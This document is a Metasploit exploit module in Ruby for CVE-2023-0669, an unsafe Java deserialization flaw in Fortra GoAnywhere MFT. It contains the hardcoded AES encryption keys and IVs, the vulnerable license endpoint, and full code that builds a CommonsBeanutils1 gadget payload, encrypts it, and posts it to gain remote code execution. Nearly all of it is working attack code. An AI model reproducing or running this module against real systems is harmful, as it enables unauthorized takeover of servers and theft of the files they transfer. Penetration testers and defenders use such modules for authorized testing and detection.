Fortra GoAnywhere MFT Unsafe Deserialization Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::JavaDeserialization  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE',        'Description' => %q{          This module exploits CVE-2023-0669, which is an object deserialization          vulnerability in Fortra GoAnywhere MFT.        },        'Author' => [          'Ron Bowes', # Analysis and module        ],        'References' => [          ['CVE', '2023-0669'],          ['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],        ],        'DisclosureDate' => '2023-02-01',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'win'],        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Targets' => [          [            'Version 2 Encryption',            {              'DefaultOptions' => {                'Version' => '$2',                'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca',                'EncryptionIv' => '4145532f4342432f504b435335506164'              }            },          ],          [            'Version 1 Encryption',            {              'DefaultOptions' => {                'Version' => '',                'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b',                'EncryptionIv' => '4145532f4342432f504b435335506164'              }            }          ],        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8001,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']),    ])    register_advanced_options([      OptString.new('Version', [false, 'A version value to append to the encrypted data']),      OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),      OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),      OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC'])    ])  end  def build_cipher    unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) }      raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' })    end    cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm'])    cipher.encrypt    option_errors = {}    iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join    unless cipher.iv_len == iv.length      option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})."    end    key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join    unless cipher.key_len == key.length      option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})."    end    raise Msf::OptionValidateError, option_errors unless option_errors.empty?    cipher.iv = iv    cipher.key = key    cipher  end  def exploit    vprint_status('Generating a serialized Java object with the payload')    obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)    vprint_status('Encrypting the payload')    cipher = build_cipher    obj = cipher.update(obj) + cipher.final    vprint_status('Sending request to the server')    res = send_request_cgi(      'method' => 'POST',      'uri' => datastore['TARGETURI'],      'vars_post' => {        'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}"      }    )    fail_with(Failure::Unreachable, 'No response received from the target.') unless res    if res.code != 500      fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}")    end  endend